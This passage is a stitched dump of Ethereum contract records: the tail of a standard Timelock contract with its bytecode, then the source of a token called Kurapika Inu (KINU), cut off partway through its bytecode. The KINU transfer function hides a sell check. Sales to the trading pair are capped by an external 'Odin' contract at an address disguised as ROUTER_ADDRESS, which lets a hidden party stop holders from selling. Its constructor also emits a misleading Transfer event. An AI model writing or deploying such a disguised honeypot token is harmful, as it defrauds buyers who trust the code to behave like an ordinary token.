`*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_) public { admin = admin_; delay = MINIMUM_DELAY; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a7231582014c62c6527940ad36d01ddc2f2812afe1a913f3343de96bd3fe138cf0ba6089c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
8,537
0x13458c2B5fE219C8bDa74bD210c9Af7df5D2aC18
/** *Submitted for verification at Etherscan.io on 2021-11-13 */ //SPDX-License-Identifier: MIT // Telegram: t.me/kurapikainu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS= 0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Kurapika Inu"; string constant TOKEN_SYMBOL="KINU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600c81526020017f4b75726170696b6120496e750000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b494e5500000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b50505050604051